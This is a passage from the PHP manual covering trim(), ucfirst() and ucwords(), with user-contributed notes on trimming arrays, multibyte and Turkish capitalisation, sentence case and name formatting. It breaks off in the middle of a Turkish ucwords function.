admin at semaster dot ru 30-Mar-2005 07:37
Another recursive trim function for multi-dimensional arrays ( uses only trim function :)

function array_trim($arr, $charlist=null){
    foreach($arr as $key => $value){
        if (is_array($value)) $result[$key] = array_trim($value, $charlist);
        else $result[$key] = trim($value, $charlist);
    }
    return $result;
}
manithu 29-Mar-2005 11:49
An faster (and eleganter) way than using regular expressions to check if a string only contains whitespaces is to use trim().

Example:

<?php

if (!trim($foobar)) {
    echo 'The string $foobar is empty!';
}

?>

I hope this helps somebody.
04-Mar-2005 10:25
It is important to stress that trim() only removes whitespace characters from the *beginning* and *end* of str.  To remove whitespace characters embedded within a string (newlines, for instance) you can use str_replace(), searching for and destroying both \n and \r characters.
Hayley Watson 07-Feb-2005 04:46
Another way to trim all the elements of an array
<?php
$newarray = array_map('trim', $array);
?>
abderzack host provider hotmail dot com 12-Nov-2004 07:44
To eliminate all the empty strings from my array, I used the array_filter, that way :

1.
I defined a function returning true iff the passed as parameter string is NOT empty.
function notEmpty($string)
{
return !empty($string);
}

2.Use array filter :
$myarray = array_filter($myarray ,"notEmpty");

That's it.
Of course, if you want to prove your mama you can write unreadable code, you can create an anonymous function, by using the create_function, instead of declaring the function notEmpty.

Hope that will help you.
webmaster __AT__ digitalanime __DOT__ nl 26-May-2004 02:50
To:
mrizzo at advancedsl dot com dot ar

And what about array_map()? :)

<?php
$myarray = array(
    'hello' => '    bye    ',
    'hey' => '      howdie',
    'haai' => '      today'
);

array_map('trim', $myarray);
?>

:)
jubi at irc dot pl 20-Apr-2004 06:48
To remove multiple occurences of whitespace characters in a string an convert them all into single spaces, use this:

<?

$text = preg_replace('/\s+/', ' ', $text);

?>

------------
JUBI
http://www.jubi.buum.pl
mrizzo at advancedsl dot com dot ar 16-Jul-2003 02:00
About trim all elements in an array.

array_filter($db, 'trim') doesn't work becouse it does NOT modify array's elements, it only returns a copy from those elements which return true on the callback function.

I think that:
foreach ($db as $key=>$value) { $db[$key]=trim($value); }
still being the best option.
rwelti at yahoo dot com 02-Jul-2003 05:45
Regarding the editor's note to rhelic above about how to trim all elements in an array:

I wanted a perl "chomp" of newlines for all elements in an array.
I tried array_filter for a long time, but  rhelic's straightforward way is what worked.

// chomp newlines off all elements in stations array
$stations = array_filter($stations, 'trim');   // editor's way - nope
foreach ($stations as $key => $value) {
            $stations[$key] = trim($value); }  // works fine

using PHP 4.3.1 on Solaris
HW 05-Jun-2003 06:32
You can combine character ranges and individual characters in trim()'s second argument (ditto for ltrim and rtrim). All of the specified characters and ranges will be used concurrently (i.e., if a character on either end of the string matches any of the specified charaters or character ranges, it will be trimmed). The characters and character ranges can be in any order (except of course that the character ranges need to be specified in increasing order) and may overlap.
E.g., trim any nongraphical non-ASCII character:
trim($text,"\x7f..\xff\x0..\x1f");
olivierdsm at hotmail dot com 02-Jun-2003 10:42
I just wanted to say that when you want to do a LDAP query based on a form value (i mean something like : <form method="POST" action="script_createnewticket.php" name="demande2">) dynamicaly updated from a popup javascript , (for example <a onclick=" opener.document.forms['demande2'].elements['thename3'].value='my name') it doesn't work.

It took me 2 days to find out that when you use trim, to "convert" the value, then it works.

-------------------------
$thename4=trim($thename3);

$ds=ldap_connect("$myldapserver");  // connects to the LDAP SERVER
if (!($ds = ldap_connect("$myldapserver") ) ) {
die ("Could not connect to LDAP server");
}
    $r=ldap_bind($ds, "cn=".$NTusername, $NTpassword);
    $sr = ldap_search($ds, '  ', "uid=".$thename4);
    $info = ldap_get_entries($ds, $sr);
-------------------------------------

only on this case you will get results.
Strange and good to know
bishop 25-Apr-2003 03:56
[Editor: I botched my last note; please delete and use this one]

Non-breaking spaces can be troublesome with trim (as per an earlier comment):

// turn some HTML with non-breaking spaces into a "normal" string
$myHTML = "&nbsp;abc";
$converted = strtr($myHTML, array_flip(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES)));

// this WILL NOT work as expected
// $converted will still appear as " abc" in view source
// (but not in od -x)
$converted = trim($converted);

// &nbsp; are translated to 0xA0, so use:
$converted = trim($converted, "\xA0");

// PS: Thanks to John for saving my sanity!
Joshua dot Logsdon at ohiou dot edu 30-Jan-2003 03:51
In response to the line mentioned above...
$clean = trim($binary,"\0x00..\0x1F");

I was also able to get
$clean = trim($binary,"\0x00-\0x1F");

to function.
daggillies at yahoo dot com 03-Jun-2002 11:57
NOTE:

All the above examples using ereg_replace with an escape code of \v are BROKEN! \v is NOT an escape code in PHP. Using a regexp of \v e.g.
$str=ereg_replace("[\r\t\n\v]","",$str);

will remove any instances of the letter 'v' from your string. So 'Activity' becomes 'Actiity'. Probably not what you want.

Here is a small function I use to strip whitespace from the end of strings and squash repeated whitespace down to a single space in the middle of strings:

function wsstrip(&$str)
{
$str=ereg_replace (' +', ' ', trim($str));
$str=ereg_replace("[\r\t\n]","",$str);
}

David Gillies
San Jose
Costa Rica
j dot metzger at steptown dot com 26-May-2002 10:21
Be careful when you use the charlist with the hex-codes...

use e.g. \x22 instead of \0x22 (this last thing won't work).

An example to strip quotes ' " ' (double quotes) and " ' " (single quotes) is to do this:

$example[0]='"hello"';
$example[1]="'baby'"

foreach ($example as $key => $val)
  $example[$key]=trim($val,"\x22\x27");

# this works brilliant, but be aware:
# $example[$key]=trim($val,"\0x22\0x27");
# won't work !!!

-> tested on php 4.2.1
REMOVETHISNOSPAMkilling at bluecarrots dot com 19-Mar-2002 09:30
If you want to totally stop windows (dunno about other os's) peeps from adding spaces (say, you need to check there name against a special one to stop impersonations) use this:

$nick = ereg_replace("[\r\n\t\v\  ]", "", trim($nick));

It has the alt code 0160 added to it
tbm.at.home.dot.nl 14-Mar-2002 11:30
Windows uses two characters for definining newlines, namely ASCII 13 (carriage return, "\r") and ASCII 10 (line feed, "\n") aka CRLF. So if you have a string with CRLF's, trim() won't recognize them as being one newline. To solve this you can use str_replace() to replace the CRLF's with with a space or something.

<?php
// string with bunch of CRLF's
$my_string = "Liquid\r\nTension Experiment\r\n\r\n\r\n";

// replace CRLF's with spaces
$my_wonderful_string = str_replace("\r\n", " ", $my_string);
// would result in "Liquid Tension Experiment   "

// or just delete the CRLF's (by replacing them with nothing)
$my_wonderful_string = str_replace("\r\n", "", $my_string);
// would result in "LiquidTension Experiment"
?>
substr
ucfirst
String Functions


Make a string's first character uppercase

trim
ucwords
String Functions
PHP Manual

ucfirst

(PHP 4, PHP 5)

ucfirst — Make a string's first character uppercase

Description

string ucfirst ( string $str )

Returns a string with the first character of str capitalized, if that character is alphabetic.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (Ã¤) will not be converted.

Parameters

str

The input string.

Return Values

Returns the resulting string.

Examples

Example #1 ucfirst() example

<?php
$foo = 'hello world!';
$foo = ucfirst($foo);             // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar);             // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

See Also

  • lcfirst() - Make a string's first character lowercase
  • strtolower() - Make a string lowercase
  • strtoupper() - Make a string uppercase
  • ucwords() - Uppercase the first character of each word in a string

User Contributed Notes

vlknmtn at gmail dot com 17-Aug-2011 04:31
Turkish solution:

<?php
mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

function tr_ilkbuyuk($text)
{
    $text = str_replace("I","Ä±",$text);
    $text = mb_strtolower($text, 'UTF-8');

    if($text[0] == "i")
        $tr_text = "Ä°".substr($text, 1);
    else
        $tr_text = mb_convert_case($text, MB_CASE_TITLE, "UTF-8");

    return trim($tr_text);
}

function tr_ucwords($text)
{
    $p = explode(" ",$text);
    if(is_array($p))
    {
        $tr_text = "";
        foreach($p AS $item)
            $tr_text .= " ".tr_ilkbuyuk($item);

        return trim($tr_text);
    }
    else
        return tr_ilkbuyuk($text);
}

$deger = "Ä±iÅŸllÅŸlsdg";

echo tr_ucwords($deger);

?>
Quicker 10-May-2011 01:53
if you want to ucfirst for utf8 try this one:

<?php
function ucfirst_utf8($stri){
 if($stri{0}>="\xc3")
     return (($stri{1}>="\xa0")?
     ($stri{0}.chr(ord($stri{1})-32)):
     ($stri{0}.$stri{1})).substr($stri,2);
 else return ucfirst($stri);
}
?>

It is quick, not language (but utf8) dependend and does not use any mb-functions such as mb_ucfirst.
chris at bjelleklang dot org 26-Jan-2011 03:03
For those who want a multibyte-compliant ucfirst() without wanting to mess with encodings, this should do the trick:

<?php
function mb_ucasefirst($str){
    $str[0] = mb_strtoupper($str[0]);
    return $str;
}
?>
pete at namecube dot net 11-Apr-2010 07:08
for anyone wanting to ucfirst each word in a sentence this works for me:

<?php
function ucfirst_sentence($str)
{
    return preg_replace('/\b(\w)/e', 'strtoupper("$1")', $str);
}
?>
wilfried dot loche at fr dot adp dot com 22-Jan-2010 02:22
If someone looks for the equivalent on Oracle DB, here it is: INITCAP. Hope this helps!
octavius 26-Sep-2009 05:18
For lithuanian text with utf-8 encoding I use two functions (thanks [mattalexxpub at gmail dot com] and Svetoslav Marinov)

<?php
function my_ucfirst($string, $e ='utf-8') {
    if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
        $string = mb_strtolower($string, $e);
        $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
    }
    else {
        $string = ucfirst($string);
    }
    return $string;
}

function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            my_ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}
?>
bgschool 30-Jul-2009 04:39
Simple function for use ucfirst with utf-8 encoded cyrylic text

<?php
    public function capitalize_first($str) {
        $line = iconv("UTF-8", "Windows-1251", $str); // convert to windows-1251
        $line = ucfirst($line);
        $line = iconv("Windows-1251", "UTF-8", $line); // convert back to utf-8

        return $line;
    }
?>
svetoslavm at gmail dot com 20-Nov-2008 07:40
For some reason this worked for me.

Mac OS 10.5.1
PHP 5.2.6

<?php
   /**
     * ucfirst UTF-8 aware function
     *
     * @param string $string
     * @return string
     * @see http://ca.php.net/ucfirst
     */
    function my_ucfirst($string, $e ='utf-8') {
        if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
            $string = mb_strtolower($string, $e);
            $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
        } else {
            $string = ucfirst($string);
        }
        return $string;
    }
?>

Svetoslav Marinov
http://slavi.biz
mattalexxpub at gmail dot com 09-Nov-2008 05:10
This is what I use for converting strings to sentence case:

<?php
function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}

print sentence_case('HMM. WOW! WHAT?');

// Outputs: "Hmm. Wow! What?"
?>
prokur.net - there is my email 29-Jun-2008 03:01
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
<?php

if (!function_exists('mb_ucfirst') && function_exists('mb_substr')) {
    function mb_ucfirst($string) {
        $string = mb_strtoupper(mb_substr($string, 0, 1)) . mb_substr($string, 1);
        return $string;
    }
}

?>

it also check is mb support enabled or not
NoName 12-Mar-2008 12:23
For strings with diactrical marks (umlauts, etc.), consider mb_convert_case().
charliefortune 20-Feb-2008 03:48
Here's a function to capitalize segments of a name, and put the rest into lower case. You can pass the characters you want to use as delimiters.

i.e. <?php echo nameize("john o'grady-smith"); ?>

returns John O'Grady-Smith

<?php

function nameize($str,$a_char = array("'","-"," ")){
    //$str contains the complete raw name string
    //$a_char is an array containing the characters we use as separators for capitalization. If you don't pass anything, there are three in there as default.
    $string = strtolower($str);
    foreach ($a_char as $temp){
        $pos = strpos($string,$temp);
        if ($pos){
            //we are in the loop because we found one of the special characters in the array, so lets split it up into chunks and capitalize each one.
            $mend = '';
            $a_split = explode($temp,$string);
            foreach ($a_split as $temp2){
                //capitalize each portion of the string which was separated at a special character
                $mend .= ucfirst($temp2).$temp;
                }
            $string = substr($mend,0,-1);
            }
        }
    return ucfirst($string);
    }

?>
webmaster at onmyway dot cz 11-Feb-2008 03:31
Inspired by the lcfirst function a simple mb_lcfirst to cope with multibyte strings:

<?php
function mb_lcfirst($str, $enc = null)
{
  if($enc === null) $enc = mb_internal_encoding();
  return mb_strtolower(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
?>
Uwe 26-Jul-2007 08:08
@adefoor, Ken and Zee

Changing the case can only be done by understanding the text. Take for example "USA", "Sunday", "March", "I am ...", abbreviations like "prob." and so on.
adefoor at gmail dot com 12-Jul-2007 11:57
Ken and zee

One thing I would do to make this more unviersally work would be to add strtolower() around your $sentence.  Doing this will allow you to convert an all caps text block as well as an all lowercase text block.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst(strtolower($sentence));
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
Ken Kehler 14-Mar-2007 12:03
@ zee: this should solve your !, ?, and any punctuations you want to add. It can probably be cleaned up a bit.

<?php

function sentence_cap($impexp, $sentence_split) {
    $textbad=explode($impexp, $sentence_split);
    $newtext = array();
    foreach ($textbad as $sentence) {
        $sentencegood=ucfirst($sentence);
        $newtext[] = $sentencegood;
    }
    $textgood = implode($impexp, $newtext);
    return $textgood;
}

$text = "this is a sentence. this is another sentence! this is the fourth sentence? no, this is the fourth sentence.";
$text = sentence_cap(". ",$text);
$text = sentence_cap("! ",$text);
$text = sentence_cap("? ",$text);

echo $text; // This is a sentence. This is another sentence! This is the fourth sentence? No, this is the fourth sentence.

?>
zee 30-Jan-2007 04:09
Another way to capitalize first letter of every sentence in a text, I hope it will help someone. It won't convert non-English characters, though, and ignores sentences ending with ! or ? etc.

<?php

$text="this is a sentence. this is another sentence.";

$split=explode(". ", $text);
foreach ($split as $sentence) {
$sentencegood=ucfirst($sentence);
$text=str_replace($sentence, $sentencegood, $text);
}

echo $text; // This is a sentence. This is another sentence.

?>
Carel at divers information with dotcom 06-Jan-2007 02:55
I made a small change. Now it takes care of points in numbers

function ucsentence ($string){
   $string = explode ('.', $string);
   $count = count ($string);
   for ($i = 0; $i < $count; $i++){
       $string[$i]  = ucfirst (trim ($string[$i]));
       if ($i > 0){
           if ((ord($string[$i]{0})<48) || (ord($string[$i]{0})>57)) {
              $string[$i] = ' ' . $string[$i];
           }
       }
   }
   $string = implode ('.', $string);
   return $string;
}
26-Oct-2006 07:45
Some simple function for cyrillic and latin letters both:

function rucfirst($str) {
    if(ord(substr($str,0,1))<192) return ucfirst($str);
    else
    return chr(ord(substr($str,0,1))-32).substr($str,1);
}
Michael 12-Sep-2006 06:01
This is what you would expect php to deliver if there was a built-in function named ucsentence.

function ucsentence ($string){
    $string = explode ('.', $string);
    $count = count ($string);
    for ($i = 0; $i < $count; $i++){
        $string[$i]  = ucfirst (trim ($string[$i]));
        if ($i > 0){
            $string[$i] = '&nbsp;&nbsp;' . $string[$i];
        }
    }
    $string = implode ('.', $string);
    return $string;
}
Northie 05-Sep-2006 04:39
Sentence Case:

<?php

function SentenceCase($str) {
    $sentences = explode(". ",$str);
    for($i=0;$i<count($sentences);$i++) {
        $sentences[$i][0] = strtoupper($sentences[$i][0]);
    }

    return implode(". ",$sentences);
}

?>
27-Jul-2006 02:31
lcfirst - In case you need to get the original string back after a ucfirst.

    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return $str;
    }
Markus Ernst 31-Mar-2006 12:34
A combination of the below functions to enable ucfirst for multibyte strings in a shared hosting environment (where you can not always count on mbstring to be installed):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    if (function_exists('mb_strtoupper')) {
        $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
        return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
    }
    else {
        $str = utf8_decode($str);
        $str[0] = strtr($str[0],
            "abcdefghÃ½ijklmnopqrstuvwxyz".
            "\x9C\x9A\xE0\xE1\xE2\xE3".
            "\xE4\xE5\xE6\xE7\xE8\xE9".
            "\xEA\xEB\xEC\xED\xEE\xEF".
            "\xF0\xF1\xF2\xF3\xF4\xF5".
            "\xF6\xF8\xF9\xFA\xFB\xFC".
            "\xFE\xFF",
            "ABCDEFGHÃIJKLMNOPQRSTUVWXYZ".
            "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
            "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
            "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
            "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
            "\xDB\xDC\xDE\x9F");
        return utf8_encode($str);
    }
}
?>
Bartuc 26-Feb-2006 05:28
Here is the fixed function for Turkish alphabet..

<?php

function uc_first($str){
   $str[0] = strtr($str,
   "abcdefghýijklmnopqrstuvwxyz".
   "\x9C\x9A\xE0\xE1\xE2\xE3".
   "\xE4\xE5\xE6\xE7\xE8\xE9".
   "\xEA\xEB\xEC\xED\xEE\xEF".
   "\xF0\xF1\xF2\xF3\xF4\xF5".
   "\xF6\xF8\xF9\xFA\xFB\xFC".
   "\xFE\xFF",
   "ABCDEFGHIÝJKLMNOPQRSTUVWXYZ".
   "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
   "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
   "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
   "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
   "\xDB\xDC\xDE\x9F");
   return $str;
}

?>
Markus Ernst 12-Jan-2006 06:39
plemieux' function did not work for me without passing the encoding to every single mb function (despite ini_set('default_charset', 'utf-8') at the top of the script). This is the example that works in my application (PHP 4.3):

<?php
function my_mb_ucfirst($str, $e='utf-8') {
    $fc = mb_strtoupper(mb_substr($str, 0, 1, $e), $e);
    return $fc.mb_substr($str, 1, mb_strlen($str, $e), $e);
}
?>
plemieux 29-Sep-2005 11:05
Simple multi-bytes ucfirst():

<?php
function my_mb_ucfirst($str) {
    $fc = mb_strtoupper(mb_substr($str, 0, 1));
    return $fc.mb_substr($str, 1);
}
?>
info [at] spwdesign [dot] com 23-Jun-2005 12:48
This is a simple code to get all the 'bad words', stored in a database, out of the text. You could use str_ireplace but since that's installed on PHP5 only, this works as well. It strtolowers the text first then places capitals with ucfirst() where it thinks a capital should be placed, at a new sentence. The previous sentence is ended by '. ' then.

<?php
function filter($text){
    $filters=mysql_query("SELECT word,result FROM filter");
    while($filter=mysql_fetch_array($filters)){
        $text=str_replace($filter[word],$filter[result],strtolower($text));
        $parts=explode(". ",$text);
        for($i=0;$i<count($parts);$i++){
            $parts[$i]=ucfirst($parts[$i]);
        }
        $text=implode(". ",$parts);
    }
    return $text;
}
?>
12-Mar-2005 05:11
Ah, the last code were spoiled, here is the fixed one:

<?php

function uc_first($str){
    $str[0] = strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
    return $str;
}

?>

So, this function changes also other letters into uppercase, ucfirst() does only change: a-z to: A-Z.
Stig-Arne Grönroos 25-Dec-2004 10:46
This function does not work as expected with characters from non-English alphabets (I only tested it with scandinavian letters, åäö => ÅÄÖ). It leaves them as lowercase.

Someone already commented that the function doesn't work on html entities, which is somewhat understandable. This bug however takes place before I convert the strings to html.
steven at tux dot appstate dot edu 21-Jun-2004 12:14
Note: the return for this function changed in versions 4.3 when a string is passed of length 0.  In <4.2 false is returned and in >4.3 a string of length 0 is returned.

Example:

$name = ucfirst("");
var_dump($name);

$name = ucfirst("owen");
var_dump($name);

Results for <4.2:
bool(false) string(4) "Owen"

Results for >4.3:
string(0) "" string(4) "Owen"
Ami Hughes (ami at mistress dot name) 07-Apr-2004 08:34
In the event you sort of need multiple delimiters to apply the same action to, you can preg_replace this "second delimiter" enveloping it with your actual delimiter.

A for instance, would be if you wanted to use something like Lee's FormatName function in an input box designed for their full name as this script was only designed to check the last name as if it were the entire string.  The problem is that you still want support for double-barreled names and you still want to be able to support the possibility that if the second part of the double-barreled name starts with "mc", that it will still be formatted correctly.

This example does a preg_replace that surrounds the separator with your actual delimiter.  This is just a really quick alternative to writing some bigger fancier blah-blah function.  If there's a shorter, simpler way to do it, feel free to inform me.  (Emphasis on shorter and simpler because that was the whole point of this.) :D

Here's the example.  I've removed Lee's comments as not to confuse them with my own.

<?php

   function FormatName($name=NULL)
   {
       if (empty($name))
           return false;

       $name = strtolower($name);
       $name = preg_replace("[\-]", " - ",$name); // Surround hyphens with our delimiter so our strncmp is accurate
       if (preg_match("/^[a-z]{2,}$/i",$name))  // Simple preg_match if statement
       {

           $names_array = explode(' ',$name);  // Set the delimiter as a space.

           for ($i = 0; $i < count($names_array); $i++)
           {
               if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i]))
               {
                   $names_array[$i][2] = strtoupper($names_array[$i][2]);
               }
               $names_array[$i] = ucfirst($names_array[$i]);

           }

           $name = implode(' ',$names_array);
           $name = preg_replace("[ \- ]", "-",$name); //  Remove the extra instances of our delimiter
           return ucwords($name);

       }
   }

?>
lazaro_tolentino at hotmail dot com 01-Apr-2004 01:16
this is a advance ucfirst function, for upper especifics words, with config in array of seperator
/**
 * @return string
 * @param string $str frase que passará pelo parce
 * @desc Pega uma frase e devolve a mesma com as palavras com suas
 * maiusculas  obedecendo um criterio configurado no array $string_sep
 *
 * @since 2004-04-01 15:04 adicionado a variavel $tring_sep que é um
 * array contendo todos os separadores a serem usados
*/
function str_upper_lower($str)
{
    /**
    * array contendo todos os separadores
    */
    $string_sep=array(' ','-','/','_','.');
    /**
    * coloca todas as palavras com letras minusculas
    */
    $str=strtolower($str);

    /**
    * testa todos os separadores
    */
    for ($i=0;$i<count($string_sep);$i++)
    {
        $sep=$string_sep[$i];
        /**
        * separa a frase usando os separador atual
        */
        $array_words = explode($sep, $str);

        /**
        * variavel que conterá o valor temporario
        */
        $tmp_str = '';
        $i2=0;
        foreach ($array_words as $word)
        {
            /**
            * se a quantidade de caracteres for maior que dois, ou se conter ponto,
            *  devolve upper da primeira letra
            */
            $tmp_str .=(strlen($word)>2 || strpos($word,'.')?ucfirst($word):$word);
            /**
            * não adiciona o separador no fim de strings
            */
            if ($i2<count($array_words)-1)
            {
                $tmp_str .= $sep;
            }
            $i2++;
        }
        $str = $tmp_str;
    }
    return $str;
}
Lee Benson 05-Mar-2004 02:37
Here's a function I threw together when needing to validate name entries (both first name and last name).

This allows simple formatting for names prefixed with "Mc" (like McDonald, McCulloch, etc) and names prefixed with O (like O'Reilly, O'Conner, etc)..

It also allows double-barrelled names to be formatted correctly, in the Smith-Jones way.

Here's the function...

<?php

    function FormatName($name=NULL) {

        /* Formats a first or last name, and returns the formatted
        version */

        if (empty($name))
            return false;

        // Initially set the string to lower, to work on it
        $name = strtolower($name);

        // Run through and uppercase any multi-barrelled names

        $names_array = explode('-',$name);

        for ($i = 0; $i < count($names_array); $i++) {

            // "McDonald", "O'Conner"..
            if (strncmp($names_array[$i],'mc',2) == 0 || ereg('^[oO]\'[a-zA-Z]',$names_array[$i])) {
            $names_array[$i][2] = strtoupper($names_array[$i][2]);

            }

            // Always set the first letter to uppercase, no matter what
            $names_array[$i] = ucfirst($names_array[$i]);

        }

        // Piece the names back together
        $name = implode('-',$names_array);

        // Return upper-casing on all missed (but required) elements of the $name var
        return ucwords($name);

    }

?>

If you have any other "rules" to follow for international/foreign naming rules, you can add them to the foreach loop, and it should still follow all of the other rules.

It's a quick fix, but it seems to do the job nicely.

Examples...

<?php

$name = "o'cONNER-MCdOnAld";
echo FormatName($name);

?>

Returns: O'Conner-McDonald
04-Mar-2004 09:46
Of course ucfirst() will _not_ convert html entities such as &uuml; (u-Umlaut as ü) to &Uuml; which would represent Ü.
bkimble at ebaseweb dot com 08-Jun-2003 05:02
Here is a handy function that makes the first letter of everything in a sentence upercase. I used it to deal with titles of events posted on my website ... I've added exceptions for uppercase words and lowercase words so roman numeral "IV" doesn't get printed as "iv" and words like "a" and "the" and "of" stay lowercase.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();

 foreach ($words as $word)
 {
        if (!$higher_exceptions[$word])
                $word = strtolower($word);
        if (!$lower_exceptions[$word])
                $word = ucfirst($word);
         array_push($newwords, $word);

 }

 return join(" ", $newwords);
}
trim
ucwords
String Functions


Uppercase the first character of each word in a string

ucfirst
vfprintf
String Functions
PHP Manual

ucwords

(PHP 4, PHP 5)

ucwords — Uppercase the first character of each word in a string

Description

string ucwords ( string $str )

Returns a string with the first character of each word in str capitalized, if that character is alphabetic.

The definition of a word is any string of characters that is immediately after a whitespace (These are: space, form-feed, newline, carriage return, horizontal tab, and vertical tab).

Parameters

str

The input string.

Return Values

Returns the modified string.

Examples

Example #1 ucwords() example

<?php
$foo = 'hello world!';
$foo = ucwords($foo);             // Hello World!

$bar = 'HELLO WORLD!';
$bar = ucwords($bar);             // HELLO WORLD!
$bar = ucwords(strtolower($bar)); // Hello World!
?>

Notes

Note: This function is binary-safe.

See Also

  • strtoupper() - Make a string uppercase
  • strtolower() - Make a string lowercase
  • ucfirst() - Make a string's first character uppercase
  • mb_convert_case() - Perform case folding on a string

User Contributed Notes

haijerome at gmail dot com 21-Nov-2011 09:14
Thanks a lot brother.

I tested it with a few variations. It works perfectly. Its really great and simple usage of the existing functions. It would be glad to all PHP folks and good to PHP if these kind of functions will be in PHP library on upcoming releases.

<?php

$name1 = "mark-yves robert";
$name2 = "mark-yves robert-bryan";

echo '<br/>Name 1 (mark-yves robert) =>'.
ucwordspecific($name1,'-'); //returns Mark-Yves Robert

echo '<br/>Name 2 (mark-yves robert-bryan)

=>'.ucwordspecific($name2,'-');
//returns Mark-Yves Robert-Bryan

function ucwordspecific($str,$delimiter){
$delimiter_space = '- ';
return str_replace($delimiter_space,$delimiter,ucwords

(str_replace($delimiter,$delimiter_space,$str)));
}

?>

Proud to be a PHP enthusiast always :-)
Anonymous 20-Nov-2011 11:06
Make the first letter of any word in capital even they are separated by hyphen.

 Eg : donzé pierre-yves      => Donzé Pierre-Yves
        joye-cagnard frédéric => Joye-Cagnard Frédéric

<?php

 $str = "donzé pierre-yves";
 echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
    return str_replace('- ','-',ucwords(str_replace('-','- ',$str)));
}
?>

 Thanks.
haijerome at gmail dot com 11-Nov-2011 11:38
Recently i got a request from a client to make the first letter of any word in capital even they are separated by hyphen.

Eg : donzé pierre-yves      => Donzé Pierre-Yves
       joye-cagnard frédéric => Joye-Cagnard Frédéric

ucwords("donzé pierre-yves") can make it display
Donzé Pierre-yves but actually i need even the first letter of the second word to be in capital.

So in order to get this i have just written a function below and it works fine. But i hope there would be a better and easier way to do this if so kindly share.

<?php

$str = "donzé pierre-yves";
echo ucwordsHyphen($str); /*returns Donzé Pierre-Yves*/

function ucwordsHyphen($str){
                    $converted_str = "";
                    $str_array = explode(" ",$str);
                    foreach($str_array as $key=>$value):
                        if(strpos($value, '-')):
                             $value = str_replace("-", " ", $value);
                             $value = ucwords(strtolower($value));
                             $value = str_replace(" ", "-", $value);
                        else:
                            $value = ucwords(strtolower($value));
                        endif;
                        $converted_str .= " ".$value;
                    endforeach;
                   return $converted_str;
            }
 ?>

Thanks.
And Proud to be a PHP Programmer always :-)
ahmet363 at gmail dot com 16-Oct-2011 11:14
Turkish character with the ucwords function...

<?php
function ucwords_tr($gelen){

  $sonuc='';

  $kelimeler=explode(" ", $gelen);

  foreach ($kelimeler as $kelime_duz){

    $kelime_uzunluk=strlen($kelime_duz);
    $ilk_karakter=mb_substr($kelime_duz,0,1,'UTF-8');

    if($ilk_karakter=='Ç' or $ilk_karakter=='ç'){

      $ilk_karakter='Ç';

    }elseif ($ilk_karakter=='Ğ' or $ilk_karakter=='ğ') {

      $ilk_karakter='Ğ';

    }elseif($ilk_karakter=='I' or $ilk_karakter=='ı'){

      $ilk_karakter='I';

    }elseif ($ilk_karakter=='İ' or $ilk_karakter=='i'){

      $ilk_karakter='İ';

